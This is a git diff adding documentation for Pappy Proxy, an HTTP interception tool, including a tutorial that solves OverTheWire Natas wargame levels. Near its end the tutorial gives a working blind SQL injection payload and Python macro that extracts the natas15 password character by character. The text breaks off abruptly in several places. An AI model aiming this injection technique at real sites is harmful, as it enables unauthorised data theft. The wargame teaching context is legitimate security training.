get_data(r): + print 'The user agent for %s is "%s"' % (r.reqid, get_data(r)['agent']) + else: + print 'Request %s has no user agent data' % r.reqid + + ############### + ## Plugin hooks + + def load_cmds(cmd): + cmd.set_cmds({ + 'agent_update': (update_agent_metadata, None), + 'view_agent': (view_agent, None), + }) + cmd.add_aliases([ + ]) + +Useful Functions +---------------- +* Load a request by id: :func:`pappyproxy.http.Request.load_request` +* Create a filter from a filter string: :func:`pappyproxy.context.Filter.from_filter_string` + +Built In Plugins As Examples +============================ + +Built In Plugins +---------------- +All the commands in Pappy are implemented as plugins. I have done what I could to avoid using internal functions as much as I could, but there are still some instances where I had to implement an internal function in order to get the functions I needed. However, you can still look them over to see how things are structured and see some examples of semi-complicated plugins. + +Interceptor and Repeater +------------------------ +Pappy's interceptor and repeater are fully implemented as a plugin. It defines an intercepting macro that handles saving then editing messages and commands that read those files and edit them. It relies on Twisted to switch between the macro handling the request and the command modifying it, so if you want to make something similar, you'll have to learn how to use deferreds. diff --git a/docs/build/html/_sources/pappyproxy.txt b/docs/build/html/_sources/pappyproxy.txt new file mode 100644 index 0000000..0ee98c2 --- /dev/null +++ b/docs/build/html/_sources/pappyproxy.txt @@ -0,0 +1,129 @@ +pappyproxy package +================== + +Subpackages +----------- + +.. toctree:: + + pappyproxy.plugins + pappyproxy.schema + pappyproxy.templates + pappyproxy.tests + pappyproxy.vim_repeater + +Submodules +---------- + +pappyproxy.comm module +---------------------- + +.. automodule:: pappyproxy.comm + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.config module +------------------------ + +.. automodule:: pappyproxy.config + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.console module +------------------------- + +.. automodule:: pappyproxy.console + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.context module +------------------------- + +.. automodule:: pappyproxy.context + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.http module +---------------------- + +.. automodule:: pappyproxy.http + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.iter module +---------------------- + +.. automodule:: pappyproxy.iter + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.macros module +------------------------ + +.. automodule:: pappyproxy.macros + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.pappy module +----------------------- + +.. automodule:: pappyproxy.pappy + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.plugin module +------------------------ + +.. automodule:: pappyproxy.plugin + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.proxy module +----------------------- + +.. automodule:: pappyproxy.proxy + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.repeater module +-------------------------- + +.. automodule:: pappyproxy.repeater + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.session module +------------------------- + +.. automodule:: pappyproxy.session + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.util module +---------------------- + +.. automodule:: pappyproxy.util + :members: + :undoc-members: + :show-inheritance: + + +Module contents +--------------- + +.. automodule:: pappyproxy + :members: + :undoc-members: + :show-inheritance: diff --git a/docs/build/html/_sources/tutorial.txt b/docs/build/html/_sources/tutorial.txt new file mode 100644 index 0000000..941f395 --- /dev/null +++ b/docs/build/html/_sources/tutorial.txt @@ -0,0 +1,720 @@ +The Pappy Proxy Tutorial +************************ + +.. contents:: Table of Contents + :local: + +Getting Set Up +============== + +Introduction +------------ +This is a quick tutorial to get you started using Pappy like a pro.

Just hop back into Pappy. + +Installing Pappy's CA Cert +-------------------------- +In order to intercept HTTPS requests, you'll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining. + +To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.:: + + pappy> gencerts + This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs.

No. + +Configuring Your Browser +------------------------ +Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won't cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in ``config.json``, but don't worry about that right now. + +.. note:: + Configure your browser extension to use the proxy server at **loalhost** on **port 8000** + +Here are some proxy plugins that should work + +* Firefox: `FoxyProxy `_ +* Chrome: `Proxy SwitchySharp `_ + +Testing it Out +-------------- +Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your browser, then navigate to a website:: + + /pappynatas/ $ pappy -l + Temporary datafile is /tmp/tmp5AQBrH + Proxy is listening on port 8000 + pappy> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 8 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.21 -- + 7 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.22 -- + 6 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 0.29 -- + 5 GET vitaly.sexy /netscape.gif 200 OK 0 1135 0.22 -- + 4 GET vitaly.sexy /construction.gif 200 OK 0 28366 0.26 -- + 3 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 1.34 -- + 2 GET vitaly.sexy / 200 OK 0 1201 0.21 -- + 1 GET vitaly.sexy / 301 Moved Permanently 0 178 0.27 -- + pappy> quit + Deleting temporary datafile + +Make sure that the request you made appears on the list.

Make the current context only include requests whose host ends in ``natas.labs.overthewire.org``. +2. Save the current context as the scope + +The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp ``natas\.labs\.overthewire\.org$``. When we save the scope, we're saying that any request that doesn't pass this regexp is out of scope and shouldn't be touched. + +If this doesn't make sense, don't worry, we'll come back to this. + +Natas 0 +------- +First, go to ``_ and log in with the default creds of ``natas0`` / ``natas0``. You should see a site that says "You can find the password for the next level on this page". You don't need Pappy for this one. + +1. Right click the page and select "view source" +2. Read the password for natas1 +3. Visit ``_ and log in with the username ``natas1`` and the password you found. + +Natas 1 +------- +Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The commands we'll learn here are ``ls``, ``vfq``, and ``vfs``. + +* ``ls`` lists the most current requests that are in the current context.

+ + + pappy> + +So the only suspicious thing is ````. I'll let you figure out the rest ;) + +Natas 3 +------- +This one doesn't require Pappy. Just view the ``robots.txt`` file. + +Finding Your Passwords Later (How to Use Filters) +------------------------------------------------- +This section will explain how to use Pappy's filters to find passwords to levels you've already completed. Every in-scope request and response that goes through Pappy is stored in the ``data.db`` file in your project directory. We can use filter commands to search through these requests to find resposes with passwords. + +Filters ++++++++ + +Here are the commands we'll learn: + +1. ``filter `` / ``f `` Add a filter that limits which requests are included in the current context +2. ``fu`` Remove the most recently applied filter +3. ``sr`` Reset the context so that it matches the scope +4. ``filter_clear`` Remove all filters from the context, including the filters applied by the scope +5. ``fls`` Show all currently applied filters + +The most complicated of these is the ``filter`` command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn't pass the filter will be removed from the context. Most filter strings are of the format `` ``. For example:: + + host is www.target.org + + field = "host" + comparer = "is" + value = "www.target.org" + +This filter will only match requests whose host is exactly ``www.target.org``. When defining our scope, we applied a filter using a ``containsr`` comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers: + +Commonly used fields + +* ``all`` The full text of the request and the response +* ``host`` The hostname of where the request is sent +* ``path`` The target path of the request. ie ``/path/to/page.php`` +* ``verb`` The HTTP verb. ie ``POST`` or ``GET`` (case sensitive!) +* ``body`` The data section (the body) of either the request or the response + +Commonly used comparers + +* ``is `` The field exactly matches the value +* ``contains `` / ``ct `` The field contains a value +* ``containsr `` / ``ctr `` The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line + +You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation. + +Once you've applied some filters, ``ls`` will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use ``sr``. If you want to remove the last applied filter, use ``fu``. + +Finding Passwords ++++++++++++++++++ +While we can't find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly + +For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.:: + + pappy> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 -- + 51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 50 GET natas4.natas.labs.overthewire.org / 200 OK 0 1019 0.27 -- + 49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 -- + 48 GET natas3.natas.labs.overthewire.org /s3cr3t/users.txt 200 OK 0 40 0.27 -- + 46 GET natas3.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.53 -- + 47 GET natas3.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.53 -- + 45 GET natas3.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.53 -- + 44 GET natas3.natas.labs.overthewire.org /s3cr3t/ 200 OK 0 957 0.26 -- + 43 GET natas3.natas.labs.overthewire.org /s3cr3t 301 Moved Permanently 0 354 0.27 -- + 42 GET natas3.natas.labs.overthewire.org /robots.txt 200 OK 0 33 0.29 -- + 41 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 -- + 40 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.28 -- + 39 GET natas3.natas.labs.overthewire.org / 200 OK 0 923 0.26 -- + 38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 -- + 37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 -- + 36 GET natas2.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.47 -- + 35 GET natas2.natas.labs.overthewire.org /icons/image2.gif 200 OK 0 309 0.47 -- + 34 GET natas2.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.47 -- + 33 GET natas2.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.47 -- + 32 GET natas2.natas.labs.overthewire.org /files/ 200 OK 0 1153 0.26 -- + 31 GET natas2.natas.labs.overthewire.org /files 301 Moved Permanently 0 353 0.27 -- + 30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 -- + pappy> f body ct password + pappy> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 -- + 38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 -- + 37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 -- + 26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 -- + 20 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.47 -- + 24 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 -- + 17 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.30 -- + 14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 -- + 13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 -- + 9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 -- + 6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 -- + 2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 -- + 1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 -- + pappy> + +It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response).

For now you just need to know a few things about it: + +* :func:`~pappyproxy.http.Request.submit` Submit the request and store the response object +* :func:`~pappyproxy.http.Request.save` Save the request/response to the data file +* ``post_params`` A :class:`~pappyproxy.http.RepeatableDict` that represents the post parameters of the request. Can set/get prameters the same way as a dictionary. + +It is suggested you go through the documentation to learn the rest of the attributes/functions. + +To start out simple, we'll write a macro that lets us check a username from the Pappy console. To define a function, you define the ``run_macro`` function. The function is passed a list of arguments which represent the arguments entered. Here a ``run_macro`` function that we can define that will check if a user exists:: + + def run_macro(args): + to_check = args[0] # get the username to check + r = req1.copy() # make a copy of the base request + r.post_params['username'] = to_check # set the username param of the request + r.submit() # submit the request + if "This user doesn't exist." in r.response.raw_data: # check if the username is valid + print "%s is not a user" % to_check + else: + print "%s is a user!" % to_check + +Then to run it:: + + pappy> lma + Loaded "" + pappy> rma brute admin + admin is not a user + pappy> rma brute fooooo + fooooo is not a user + pappy> rma brute natas16 + natas16 is a user! + pappy> + +Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request. + +Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username:: + + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; + +So to escape it, we use a payload like:: + + username" OR 1=1; # + +In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out:: + + pappy> rma brute "foo\" OR 1=1;" + foo" OR 1=1; is a user! + pappy> rma brute "fooooooo\" OR 1=1;" + fooooooo" OR 1=1; is a user! + pappy> + +Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.:: + + 'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #' + +Alright, let's update our macro to find the first character of the password.:: + + from pappyproxy.http import Request, get_request, post_request + from pappyproxy.context import set_tag + + MACRO_NAME = 'Macro 41855887' + SHORT_NAME = '' + + ########### + ## Requests + # It's suggested that you call .copy() on these and then edit attributes + # as needed to create modified requests + ## + + + req1 = Request(( + 'POST /index.php HTTP/1.1\r\n' + 'Host: natas15.natas.labs.overthewire.org\r\n' + 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n' + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' + 'Accept-Language: en-US,en;q=0.5\r\n' + 'Accept-Encoding: gzip, deflate\r\n' + 'Referer: http://natas15.natas.labs.overthewire.org/\r\n' + 'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n' + 'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n' + 'Connection: keep-alive\r\n' + 'Content-Type: application/x-www-form-urlencoded\r\n' + 'Content-Length: 14\r\n' + '\r\n' + 'username=admin' + )) + + def check_char(char, pos): + payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char)) + r = req1.copy() + r.post_params['username'] = payload + r.submit() + if "This user doesn't exist." in r.response.raw_data: + return False + else: + return True + + def run_macro(args): + valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890" + for c in valid_chars: + print 'Trying %s...' % c + if check_char(c, 1): + print '%s is the first char!' % c + return + print "The script didn't work" + +And when we run it...:: + + pappy> lma + Loaded "" + pappy> rma brute + Trying a... + Trying b... + Trying c... + Trying d... + ... snip ... + Trying U... + Trying V... + Trying W... + W is the first char! + pappy> + +We find the first character!
